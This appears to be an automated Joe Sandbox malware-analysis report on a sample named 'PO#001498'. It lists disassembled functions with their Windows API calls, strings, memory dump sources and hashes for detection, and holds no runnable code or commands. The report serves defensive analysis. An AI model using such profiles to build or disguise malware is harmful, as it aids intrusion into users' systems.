                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$Window_wcscat_wcslen
                                                                                                                                                                                • String ID: -----$SysListView32
                                                                                                                                                                                • API String ID: 4008455318-3975388722
                                                                                                                                                                                • Opcode ID: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                                                                                                                                                                                • Instruction ID: 786a3889ee88f98d9b0e9b4b0e1dacf7018a6923f31dd28eeaa3c07ad082d1a6
                                                                                                                                                                                • Opcode Fuzzy Hash: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                                                                                                                                                                                • Instruction Fuzzy Hash: 17519470504340ABE330DB65C885FABB3E4AF84714F104E1EFA94972D3D6B99989CB65
                                                                                                                                                                                Function 00448602 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _memset.LIBCMT ref: 00448625
                                                                                                                                                                                • CreateMenu.USER32 ref: 0044863C
                                                                                                                                                                                • SetMenu.USER32(?,00000000), ref: 0044864C
                                                                                                                                                                                • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 004486D6
                                                                                                                                                                                • IsMenu.USER32(?), ref: 004486EB
                                                                                                                                                                                • CreatePopupMenu.USER32 ref: 004486F5
                                                                                                                                                                                • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 00448739
                                                                                                                                                                                • DrawMenuBar.USER32 ref: 00448742
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                                                                                                                                                                • String ID: 0
                                                                                                                                                                                • API String ID: 176399719-4108050209
                                                                                                                                                                                • Opcode ID: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                                                                                                                                                                                • Instruction ID: 98f94d81d6847d6484dd50bbdc77a0bd9f9f2d632c710d3394220f00cc789bef
                                                                                                                                                                                • Opcode Fuzzy Hash: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                                                                                                                                                                                • Instruction Fuzzy Hash: 86417675604201AFD700CF68D894A9BBBE4FF89314F14891EFA488B350DBB5A845CFA6
                                                                                                                                                                                Function 004691F4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 88windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                • SendMessageW.USER32(00000000,0000018C,000000FF,00000000), ref: 00469277
                                                                                                                                                                                • GetDlgCtrlID.USER32(00000000), ref: 00469289
                                                                                                                                                                                • GetParent.USER32 ref: 004692A4
                                                                                                                                                                                • SendMessageW.USER32(00000000,?,00000111), ref: 004692A7
                                                                                                                                                                                • GetDlgCtrlID.USER32(00000000), ref: 004692AE
                                                                                                                                                                                • GetParent.USER32 ref: 004692C7
                                                                                                                                                                                • SendMessageW.USER32(00000000,?,00000111,?), ref: 004692CA
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$CtrlParent$_wcslen
                                                                                                                                                                                • String ID: ComboBox$ListBox
                                                                                                                                                                                • API String ID: 2040099840-1403004172
                                                                                                                                                                                • Opcode ID: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                                                                                                                                                                                • Instruction ID: ef07326ddff4210f4741e87947fad3c2ec39ee11b6619cfdf8cc81125e1c6f8c
                                                                                                                                                                                • Opcode Fuzzy Hash: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                                                                                                                                                                                • Instruction Fuzzy Hash: BC21D6716002147BD600AB65CC45DBFB39CEB85324F044A1FF954A73D1DAB8EC0947B9
                                                                                                                                                                                Function 004693F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 87windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                • SendMessageW.USER32(00000186,00000186,?,00000000), ref: 00469471
                                                                                                                                                                                • GetDlgCtrlID.USER32(00000000), ref: 00469483
                                                                                                                                                                                • GetParent.USER32 ref: 0046949E
                                                                                                                                                                                • SendMessageW.USER32(00000000,?,00000111), ref: 004694A1
                                                                                                                                                                                • GetDlgCtrlID.USER32(00000000), ref: 004694A8
                                                                                                                                                                                • GetParent.USER32 ref: 004694C1
                                                                                                                                                                                • SendMessageW.USER32(00000000,?,00000111,?), ref: 004694C4
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$CtrlParent$_wcslen
                                                                                                                                                                                • String ID: ComboBox$ListBox
                                                                                                                                                                                • API String ID: 2040099840-1403004172
                                                                                                                                                                                • Opcode ID: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                                                                                                                                                                                • Instruction ID: 434b10a17d45167e777e8ea6e726dd6ee4e01267e4a119798c8aa60e835c5cdc
                                                                                                                                                                                • Opcode Fuzzy Hash: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                                                                                                                                                                                • Instruction Fuzzy Hash: CA21D7756002147BD600BB29CC45EBFB39CEB85314F04492FF984A7291EABCEC0A4779
                                                                                                                                                                                Function 00448DAF Relevance: 15.2, APIs: 10, Instructions: 173windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 004419ED: DeleteObject.GDI32(?), ref: 00441A53
                                                                                                                                                                                • SendMessageW.USER32(75A523D0,00001001,00000000,00000000), ref: 00448E73
                                                                                                                                                                                • SendMessageW.USER32(75A523D0,00001026,00000000,00000000), ref: 00448E7E
                                                                                                                                                                                  • Part of subcall function 00441A7A: CreateSolidBrush.GDI32 ref: 00441ACB
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$BrushCreateDeleteObjectSolid
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3771399671-0
                                                                                                                                                                                • Opcode ID: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                                                                                                                                                                                • Instruction ID: ebbecaf0548398ae771b9aa28ebf0b72f134f9ffbbfb28b2279bd799396bd9e3
                                                                                                                                                                                • Opcode Fuzzy Hash: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                                                                                                                                                                                • Instruction Fuzzy Hash: F4510930208300AFE2209F25DD85F6F77EAEB85B14F14091EF994E72D0CBB9E9458769
                                                                                                                                                                                Function 0046ECBF Relevance: 15.1, APIs: 10, Instructions: 101COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: InitVariant$_malloc_wcscpy_wcslen
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3413494760-0
                                                                                                                                                                                • Opcode ID: 482f3b1f0bd705d72ebf0bcdddfb27694f63f3fe8f528a3bcd533af3ba5d9e97
                                                                                                                                                                                • Instruction ID: 77b59fa0745152fd1b6386ccdd9ca850b9b7f4abb66e551d88b584249de3d357
                                                                                                                                                                                • Opcode Fuzzy Hash: 482f3b1f0bd705d72ebf0bcdddfb27694f63f3fe8f528a3bcd533af3ba5d9e97
                                                                                                                                                                                • Instruction Fuzzy Hash: F83150B2600746AFC714DF7AC880996FBA8FF88310B44892EE64983641D735F554CBA5
                                                                                                                                                                                Function 004377B4 Relevance: 15.1, APIs: 10, Instructions: 97threadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 004377D7
                                                                                                                                                                                • GetForegroundWindow.USER32(00000000,?,?,?,?,0045FDE0,?,?,00000001), ref: 004377EB
                                                                                                                                                                                • GetWindowThreadProcessId.USER32(00000000), ref: 004377F8
                                                                                                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 00437809
                                                                                                                                                                                • GetWindowThreadProcessId.USER32(?,00000001), ref: 00437819
                                                                                                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043782E
                                                                                                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043783D
                                                                                                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 0043788D
                                                                                                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378A1
                                                                                                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378AC
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2156557900-0
                                                                                                                                                                                • Opcode ID: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                                                                                                                                • Instruction ID: cf5237ead9178137421241ba4763476990ac919c12b5de4495d1c20f4e3090f4
                                                                                                                                                                                • Opcode Fuzzy Hash: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                                                                                                                                • Instruction Fuzzy Hash: B0316FB1504341AFD768EF28DC88A7BB7A9EF9D310F14182EF44197250D7B89C44CB69
                                                                                                                                                                                Function 0045F776 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 446COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __wcsicoll
                                                                                                                                                                                • String ID: 0%d$DOWN$OFF
                                                                                                                                                                                • API String ID: 3832890014-468733193
                                                                                                                                                                                • Opcode ID: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                                                                                                                                                                                • Instruction ID: 3901981f80fa7430cd77b89167089bc3925961a07aad88d0cc2f25a35af8916b
                                                                                                                                                                                • Opcode Fuzzy Hash: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                                                                                                                                                                                • Instruction Fuzzy Hash: B7F1D8614083856DEB21EB21C845BAF7BE85F95309F08092FF98212193D7BCD68DC76B
                                                                                                                                                                                Function 0045E912 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 353timeCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • VariantInit.OLEAUT32(00000000), ref: 0045E959
                                                                                                                                                                                • VariantCopy.OLEAUT32(00000000), ref: 0045E963
                                                                                                                                                                                • VariantClear.OLEAUT32 ref: 0045E970
                                                                                                                                                                                • VariantTimeToSystemTime.OLEAUT32 ref: 0045EAEB
                                                                                                                                                                                • __swprintf.LIBCMT ref: 0045EB1F
                                                                                                                                                                                • VarR8FromDec.OLEAUT32(?,?), ref: 0045EB61
                                                                                                                                                                                • VariantInit.OLEAUT32(00000000), ref: 0045EBE7
                                                                                                                                                                                Strings
                                                                                                                                                                                • %4d%02d%02d%02d%02d%02d, xrefs: 0045EB19
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Variant$InitTime$ClearCopyFromSystem__swprintf
                                                                                                                                                                                • String ID: %4d%02d%02d%02d%02d%02d
                                                                                                                                                                                • API String ID: 43541914-1568723262
                                                                                                                                                                                • Opcode ID: 14db4cabc5e1b0f67770c810f21e70b33e6c91423244c68acaef5aa9588cc2da
                                                                                                                                                                                • Instruction ID: db8708ae94f177a13b26e6bf0e0b18ed2eb17208bc27bd00c320e315e6f9d40a
                                                                                                                                                                                • Opcode Fuzzy Hash: 14db4cabc5e1b0f67770c810f21e70b33e6c91423244c68acaef5aa9588cc2da
                                                                                                                                                                                • Instruction Fuzzy Hash: ABC1F4BB1006019BC704AF06D480666F7A1FFD4322F14896FED984B341DB3AE95ED7A6
                                                                                                                                                                                Function 0042FE54 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 298sleepCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FE66
                                                                                                                                                                                • Sleep.KERNEL32(0000000A), ref: 0042FE6E
                                                                                                                                                                                • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FF5D
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: DecrementInterlocked$Sleep
                                                                                                                                                                                • String ID: 0vH$0vH$4RH0vH$@COM_EVENTOBJ
                                                                                                                                                                                • API String ID: 2250217261-3412429629
                                                                                                                                                                                • Opcode ID: 7d20af892ce27232a3ff337619be48fed7d74e1bde2de334c7b49ab88d15dd8c
                                                                                                                                                                                • Instruction ID: 990b5f35a06538e4ae7b6c94f393f4a5fafaaf51bfa382c75dcb300f2d234fa3
                                                                                                                                                                                • Opcode Fuzzy Hash: 7d20af892ce27232a3ff337619be48fed7d74e1bde2de334c7b49ab88d15dd8c
                                                                                                                                                                                • Instruction Fuzzy Hash: E0B1C0715083009FC714EF54C990A5FB3E4AF98304F508A2FF495972A2DB78ED4ACB9A
                                                                                                                                                                                Function 004689FF Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 288COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                                                                                                                                                • API String ID: 0-1603158881
                                                                                                                                                                                • Opcode ID: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                                                                                                                                                                                • Instruction ID: 1d39c91c6ba170ccd8bd44326015c92659356e06a413e753493f98454e3169a0
                                                                                                                                                                                • Opcode Fuzzy Hash: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                                                                                                                                                                                • Instruction Fuzzy Hash: 49A1D3B14043459BCB20EF50CC81BDE37A4AF94348F44891FF9896B182EF79A64DC76A
                                                                                                                                                                                Function 00479C97 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 274COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _memset.LIBCMT ref: 00479D1F
                                                                                                                                                                                • VariantInit.OLEAUT32(?), ref: 00479F06
                                                                                                                                                                                • VariantClear.OLEAUT32(?), ref: 00479F11
                                                                                                                                                                                • VariantInit.OLEAUT32(?), ref: 00479DF7
                                                                                                                                                                                  • Part of subcall function 00467626: VariantInit.OLEAUT32(00000000), ref: 00467666
                                                                                                                                                                                  • Part of subcall function 00467626: VariantCopy.OLEAUT32(00000000,00479BD3), ref: 00467670
                                                                                                                                                                                  • Part of subcall function 00467626: VariantClear.OLEAUT32 ref: 0046767D
                                                                                                                                                                                • VariantClear.OLEAUT32(?), ref: 00479F9C
                                                                                                                                                                                  • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Variant$Copy$ClearInit$ErrorLast_memset
                                                                                                                                                                                • String ID: F$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                                                                                                                                                • API String ID: 665237470-60002521
                                                                                                                                                                                • Opcode ID: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                                                                                                                                                                                • Instruction ID: 799f1794578ead7d01377608c22e1fb401aa4fc5ffca8a64c02b8280356d09a3
                                                                                                                                                                                • Opcode Fuzzy Hash: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                                                                                                                                                                                • Instruction Fuzzy Hash: 6091B272204341AFD720DF64D880EABB7E9EFC4314F50891EF28987291D7B9AD45C766
                                                                                                                                                                                Function 0046A75F Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 179registryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046A84D
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ConnectRegistry_wcslen
                                                                                                                                                                                • String ID: HH
                                                                                                                                                                                • API String ID: 535477410-2761332787
                                                                                                                                                                                • Opcode ID: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                                                                                                                                                                                • Instruction ID: 68d8ff7817732ac0dd8275009c421e29eb5870de2046e22f9b94a35ba54c9d9f
                                                                                                                                                                                • Opcode Fuzzy Hash: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                                                                                                                                                                                • Instruction Fuzzy Hash: FE617FB56083009FD304EF65C981F6BB7E4AF88704F14891EF681A7291D678ED09CB97
                                                                                                                                                                                Function 0045F2C5 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 146windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _memset.LIBCMT ref: 0045F317
                                                                                                                                                                                • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F367
                                                                                                                                                                                • IsMenu.USER32(?), ref: 0045F380
